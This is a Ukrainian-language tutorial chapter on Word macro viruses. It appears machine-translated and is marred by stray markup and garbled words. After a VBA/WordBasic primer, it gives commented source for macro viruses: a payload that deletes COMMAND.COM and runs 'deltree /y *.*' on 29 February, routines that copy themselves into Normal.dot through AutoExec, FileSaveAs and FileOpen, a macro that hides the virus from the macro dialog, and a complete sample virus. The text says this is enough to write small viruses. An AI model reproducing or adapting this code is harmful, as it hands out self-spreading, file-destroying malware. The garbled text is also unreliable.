МАКРО-ВІРУСИ b> p>
У цьому розділі розказано
про макровірусів. Детально опи-
сану процедура та методи за-
раженія файлів. Представлений
вихідний текст макровіруси
з докладними коментаря-
ми. Наведено основні
відомості про мову VBA, його про-
цедурах, функціях, стандарт-
них конструкціях. p>
Як відомо, останнім часом велике поширення одержали
макро-віруси. За відомостями з різних джерел, на ці віруси
припадає від 70 до 80 відсотків заражень. Викладений нижче мате-
ріал допоможе розібратися у вірусах цього типу. p>
Інструментарій b> p>
Для вивчення макро-вірусів знадобиться якийсь програмне забезпе-чення
. У якості "полігону" необхідний MS-WORD версії 6.0 або
вище. Для вивчення зашифрованих макросів може стати в нагоді диз-
асемблер макросів (автор AURODREPH з VBB). Для більш повного
розуміння всього викладеного нижче бажано мати базові знання
про WORD BASIC. p>
Щоб убезпечити робочі файли від плодів експериментів, настою-
тельно, обов'язково створіть резервну копію шаблону
NORMAL.DOT в каталозі WINWORD6TEMPLATE, так як саме
цей документ зазвичай заражається макро-вірусом. Коли все готово, са-
мій час перейти до основ макро-вірусів. p>
Загальні відомості b> p>
Макрос - це програма, написана на деякій мові, яка іс-
користується зазвичай для автоматизації певних процесів всередині
додатків. У даному випадку розмова піде про мови Visual Basic for
Applications (VBA) і WordBasic (WB), що Microsoft використовує в
своїх програмах (зокрема, Excel, Project і PowerPoint використовують
VBA, a WinWord - WB). p>
Далі будемо вважати стандартною мовою VBA, так як він представля-
ет собою спробу уніфікувати Макромова, зробити його загальним для
всіх програм Microsoft. Незважаючи на те, що WB має деякі від-
лічія, у тому числі і в синтаксисі, структура коду цих мов схожа.
При необхідності буде особливо відзначено, що мова йде про WB. p>
Макрос VBA - це викликаються процедури. Вони бувають двох типів: p>
процедури-підпрограми та процедури-функції. p>
Процедури-підпрограми можуть виконуватися безпосередньо або ви-
ни опиняються з інших макросів. Синтаксис їх наступний: p>
Sub <Імя_Макроса> p>
-> код макросу <- p>
'Коментар починається з апострофа p>
End Sub p>
Приклад; b> p>
'Схоже, що макрос відкриває діалогове вікно і виводить повідомлення p>
Sub Stupid_Greeting p>
MsgBox "Hello World!" p>
End Sub p>
Процедури-функції (також звані просто функціями) повертається-
ють значення, яке може бути передано як параметр інший
процедурою. Їх синтаксис: p>
Function <ім'я_функції> (Аргументи)
-> Інструкції <-
'Коментар
End Function p>
Приклад: b> p>
'Підсумовує параметри а і b і повертає
' результат в змінну "AddAB"
Function AddAB (ab)
AddAB = a + b
End Function p>
Звичайно, у документ можна вставити макросів стільки, скільки потрібно
(або скільки хочеться), обмежень на їх кількість немає. Набір мак-
росів (процедур-підпрограм і процедур-функцій), що складають до-
документах, називається модулем VBA. p>
Мова VBA працює також з об'єктами (всередині модулів VBA можна
робити посилання на документи, графіку). Об'єкти володіють властивостями.
Наприклад, властивістю (або атрибутом) об'єкта є його колір. p>
VBA також дозволяє працювати зі змінними. Як будь-яку мову струк-
турне типу, VBA має типові конструкції: p>
цикл "For-next": p>
Sub Counter "Процедура p>
lnfect_Num = 0 p>
For Count = 1 to 10 'Цикл від 1 до 10 p>
lnfect_Num = lnfect_Num + Count p>
Next Count p>
MsgBox "досягли максимальної кількості заражень" p>
End Sub p>
4-1436 p>
умова "If-then": p>
Sub lnfect_Check p>
If lnfect_Num = 0 Then MsgBox "Файл не заражений" p>
End Sub p>
конструкція "With-end with" (використовується для роботи з декількома
властивостями конкретного об'єкта): p>
Sub ChangeProperties
With Selection
. Font.Bold = True p>
. Font.Colorlndex = 3 'червоний колір
End With
End Sub p>
селектор "Select case-end case": p>
Sub CheckJnfection p>
Select Case lnfect_Num p>
Case 0 p>
MsgBox "Файл не заражений" p>
Case is> Про p>
MsgBox "Файл заражений" p>
Case is <Про p>
lnfect_Num = 0 p>
End Case p>
End Sub p>
Корисним інструментом для роботи з VBA є вікно налагодження.
У ньому можна трассіровать код, вносити до нього зміни і робити мно-
гое інше. У процесі налагодження для зупинки на деякий час іс-
полнению коду використовуються прапори. Щоб можна було аналізувати
вміст конкретних змінних і/або інструкцій, після кожної
команди виводяться повідомлення (в відладчик VBA для переривання ис-
полнению коду можна ставити також контрольні точки). p>
Потрібно звернути увагу на різноманітні аргументи функцій.
Як вже говорилося, структура їх така: p>
Function <Ім'я> (Аргументи) p>
[.]
End Function p>
Аргументами можуть бути константи, змінні або вирази.
Процедури можуть бути і без аргументів. p>
Function Get_Name ()
Name = Application.UserName
End Function p>
Деякі функції завжди вимагають фіксоване число аргументів
(до 60). Інші функції мають кілька обов'язкових аргументів,
а інші можуть бути відсутні. p>
Після того, як основи VBA стали зрозумілі, йдемо далі. Отже, виру-
си і "троянці" на VBA. p>
Мова VBA універсальний, і тому є дві причини. По-перше, ця мова
простий у вивченні і використанні, оскільки вона є мовою ви-
зуального програмування, він орієнтований на події, а не на
об'єкти. З його допомогою без особливих витрат часу дуже легко созда-
вати складні модулі. По-друге, можна використовувати велику кількістю-
ство наперед визначених функцій, що полегшують роботу. По-третє, име-
ються функції (або макроси) автоматичного виконання, що
дозволяє спростити написання процедур автокопірованія, занесення
в пам'ять і інших використовуваних стандартними DOS-вірусами. p>
Крім цього, перевагою VBA є властивість переносимості.
VBA працює під Win З.х, Win95, WinNT, MacOS і так далі, тобто
в будь-якій операційній системі, де можна запустити програми його
підтримують. p>
VBA являє собою мову, адаптований до мови програми,
з-під якого він запущений. Це означає, що якщо на комп'ютері ус-
тановлена, наприклад, іспанська версія WinWord, то імена предопреде-
лених функцій будуть також іспанською. Так що два наступних
макросу - зовсім не одне й те саме. p>
Перший макрос (іспанська): b> p>
Sub Demo_Macro
Con Seleccion.Fuente
. Nombre = "Times"
Fin Con
End Sub p>
Другий макрос (англійська): b> p>
Sub Demo_Macro
With Selection.Font
. Name = "Times" p>
4 * b> p>
End With
End Sub p>
Останній макрос не буде працювати в іспанській версії WinWord
(а перше - в англійській) - він викличе помилку виконання макросу.
Ще відзначимо, що VBA - мова інтерпретується (некомпіліруемого)
типу, так що кожна помилка виконання проявляється "в польоті". p>
Існують функції, єдині для всіх версій VBA, незалежно
від мови. Наприклад, автоматичний макрос AutoExec. p>
Усього таких спеціальних макросів п'ять, виконуються вони автомати-
но: p>
AutoExec: це макрос, активується при завантаженні текстового процес-
ра, але тільки в тому випадку, якщо він збережений у шаблоні Normal.dot або
в каталозі стандартних додатків; p>
AutoNew: активізується при створенні нового документа; p>
AutoOpen: активізується при відкритті існуючого документа; p>
AutoClose: активізується при закритті документа; p>
AutoExit: активізується при виході з текстового процесора. p>
Як доказ сили й універсальності цих макросів рас-
дивимося наступний фрагмент коду (про мову вже домовилися). p>
'Макрос найбільш ефективний, якщо його зберегти як AutoExit
Sub Main p>
'Перевіримо реєстраційне ім'я
If Application. Username <> "MaD_MoTHeR" Then p>
'Знімемо атрибути COMMAND.COM
SetAttr "C: COMMAND.COM", 0 p>
'Відкриємо для перевірки - раптом з'являться помилки
Open "CACOMMAND.COM" for Output as # 1 p>
'Якщо помилки є, то закриємо.
Close # 1 p>
'і видалимо p>
Kill "CACOMMAND.COM" p>
End If p>
'Перевіримо місяць і дату. Якщо 29 лютого, то виконаємо
'команду "deltree/у> nul
If Month (Now ()) = 2 Then
If Day (Now ()) = 29 Then
Shell "deltree/y *.*> nu"
End If
End If
End Sub p>
Що робить цей макрос? При виході з WinWord він перевіряє два па-
раметра: ім'я, на яке зареєстрований WinWord (якщо це не
MaD_MoTHeR, то буде вилучений файл COMMAND.COM), і поточну
системну дату (якщо це 29 лютого, виконується команда "deltree/у
*.*> Nub). p>
Дуже важливо знати, як адаптувати автоматичний макрос (нижче
наведено найпростіший варіант), щоб активізувати його в відкриває-
мый за замовчуванням шаблон WinWord. p>
Це робиться так: p>
Визначається змінна, в яку записується повне ім'я макросу: p>
name $ = WindowName $()+": AutoNew " p>
'цей макрос буде виконуватися кожного разу p>
'при створенні нового документа p>
Тепер треба записати макрос в шаблон NORMAL.DOT простий ко-
команду: p>
MacroCopy name $, "Global: AutoNew" p>
Це стандартний спосіб роботи макро-вірусів, але є ще багато дру-
гих, більш цікавих способів зараження. Всього то й потрібно, що не-
багато уяви і кілька рядків коду. Одним із трюків, кото-
рий ускладнює подібні віруси і ускладнює їх аналіз, є
кодування макро-вірусів. p>
MacroCopy "MyTemplate: MyMacro", "GlobahAutoClose", 1 p>
Якщо виконується команда MacroCopy з параметром, що дорівнює 1 (або
іншому числу більше 0), то в результаті копіювання буде отриманий
тільки що виконується макрос, який не можна редагувати. p>
Більшість макро-вірусів мають типову структуру. Вони починаючи-
ются з автовиполняемого макросу, заражающего глобальний шаблон
Normal.dot. Також до їх складу входять деякі макроси, які зара-
жають файли при певних діях (FileSaveAs, FileSave,
ToolsMacros). Документи заражаються при вчиненні над ними опера-
цій вірусними макросами, тобто вони будуть інфікуватися при
відкритті. p>
Код для процедури автовиполненія може виглядати приблизно так: p>
Sub MAIN p>
On Error Goto Abort p>
iMacroCount = CountMacros (0, 0) 'Перевірка на зараженість p>
For i = 1 To iMacroCount p>
If MacroName $ (i, 0, 0) = "PayLoad" Then p>
binstalled =- 1 'за допомогою макросу Payload p>
End If p>
If MacroName $ (i, 0, 0) = "FileSaveAs" Then p>
bTooMuchTrouble =- 1 'але якщо є макрос FileSaveAs,
' то заразити важко p>
End If p>
Next i p>
If Not binstalled And Not bTooMuchTrouble Then p>
'Додамо макроси FileSaveAs та копії AutoExec і FileSave
' Payload використовується тільки для перевірки на зараженість
', 1 - кодує макроси, роблячи їх нечитабельним в Word p>
iWW6llnstance = Val (GetDocumentVar $ ( "WW6lnfector")) p>
sMe $ = FileName $ () p>
Macro $ = sMe $ + ": PayLoad" p>
MacroCopy Macro $, "Global: PayLoad", 1 p>
Macro $ = sMe $ + ": FileOpen" 'Відбуватиметься зараження p>
MacroCopy Macro $, "GlobahFileOpen", 1 p>
Macro $ = sMe $ + ": FileSaveAs" p>
MacroCopy Macro $, "GlobahFileSaveAs", 1 p>
Macro $ = sMe $ + ": AutoExec" p>
MacroCopy Macro $, "GlobahAutoExec", 1 p>
SetProfileString "WW6I", Str $ (iWW6llnstance 1) p>
End If p>
Abort: p>
End Sub p>
Процедура SaveAs b> p>
Вона копіює макро-вірус в активний документ при його збереженні
через команду File/SaveAs. Ця процедура використовує багато в чому схо-
жую з процедурою AutoExec технологію. Код для неї: p>
Sub MAIN p>
Dim dig As FileSaveAs p>
GetCurValues dig p>
Dialog dig p>
If (Dlg.Format = 0) Or (dlg.Format = 1) Then p>
MacroCopy "FileSaveAs", WindowName $()+": FileSaveAs " p>
'заражається при збереженні документа
MacroCopy "FileSave", WindowName $()+": FileSave "
MacroCopy "PayLoad", WindowName $()+": PayLoad "
MacroCopy" FileOpen ", WindowName $()+": FileOpen" p>
'При відкритті документа
Dlg.Format = 1
End If p>
FileDaveAs dig
End Sub p>
Цієї інформації цілком достатньо для створення невеликих макро-
вірусів. p>
Спеціальні процедури b> p>
Існує декілька способів приховати вірус або зробити його більш ефективним
. Наприклад, можна створити спеціальний макрос, ховаю-
щий вірус, якщо Tools/Macro відкривається для перегляду. Код такого
макросу може виглядати приблизно так: p>
Sub MAIN
On Error Goto ErrorRoutine p>
OldName $ = NomFichier $ () p>
If macros.bDebug Then p>
MsgBox "start ToolsMacro" p>
Dim dig As OutilsMacro p>
If macros.bDebug Then MsgBox "1" p>
GetCurValues dig p>
If macros.bDebug Then MsgBox "2" p>
On Error Goto Skip
Dialog dig
OutilsMacro dig
Skip: p>
On Error Goto ErrorRoutine 'При помилку на вихід
End If p>
REM enable automacros
DisableAutoMacros 0 p>
macros. SavToGlobal (01dName $) p>
macros.objectiv p>
Goto Done 'Перехід на мітку Done p>
ErrorRoutine: p>
On Error Goto Done "Перехід на мітку Done
If macros.bDebug Then p>
MsgBox "error" + Str $ (Err) + "occurred" 'Повідомлення про помилку
End If p>
Done: p>
End Sub p>
Макро-віруси також можуть включати зовнішні процедури. Наприклад,
вірус Nuclear намагається відкомпілювати і запустити зовнішній
файл-рознощик вірусу, деякі троянські макроси намагаються фор-
матувати вінчестер при відкритті документа. p>
Приклад макро-вірусу b> p>
Вище були викладені основи для вивчення макро-вірусів. Прийшов
часом розглянути вихідні тексти. p>
Macro name: AutoNew [AUTONEW] "U"
Encryption key: DF
Sub MAIN p>
'Включаємо обробку автоматичних макросів
DisableAutoMacros 0 p>
'Перевіримо, чи встановлений макрос. Якщо макрос AutoExec
'присутня, вважаємо, що файл заражений
If (lnstalled = 0) And (Forgetlt = 0) Then p>
'заразив. Копіюємо макрос p>
MacroCopy WindowName $()+": AutoExec "," GlobahAutoExec ", 1 p>
MacroCopy WindowName $()+": AutoNew "," Global: AutoNew ", 1 p>
MacroCopy WmdowName $()+": AutoOpen "," Global: AutoOpen ", 1 p>
MacroCopy WindowName $()+": DateiSpeichem "," Global: DateiSpeichern ", 1 p>
MacroCopy WindowName $()+": DateiSpeichernUnter ", p>
"Global.-DateiSpeichernllnter", 1 p>
MacroCopy WindowName $()+": DateiBeenden ", p>
"GlobahDateiBeenden", 1 p>
MacroCopy WindowName $ () + ": ExtrasOptionen", p>
"Global: ExtrasOptionen", 1 p>
MacroCopy WindowName $()+": DateiDokvorlagen ", p>
"GlobaLDateiDokvorlagen", 1 p>
MacroCopy WindowName $()+": lt "," Global: lt ", 1 p>
MacroCopy WindowName $()+": DateiDrucken "," GlobahDateiDrucken ", 1 p>
End If p>
End Sub p>
'Функція перевіряє, інстальований Чи макрос AutoExec
Function Installed p>
'Встановимо змінну Installed в 0 (ініціалізація змінної).
"При позитивному результаті перевірки встановимо її в 1
lnstalled = 0 p>
'Перевіримо, чи є макроси
If CountMacros (O)> 0 Then p>
"Перевіримо імена макросів. Якщо є AutoExec, p>
"встановимо змінну Installed в 1 p>
For i = 1 To CountMacros (O) p>
If MacroName $ (i, 0) = "AutoExec" Then p>
lnstalled = 1 p>
End If p>
Next i p>
End If p>
End Function p>
Function Forgetit p>
Forgetlt = 0 p>
Section $ = "Compatibility" p>
ProfilName $ = "Nomvir" p>
BlaBla $ = GetProfileString $ (Section $, ProfilName $) p>
If BlaBla $ = "Ox0690690" Then p>
Forgetlt = 1 p>
End If p>
End Function p>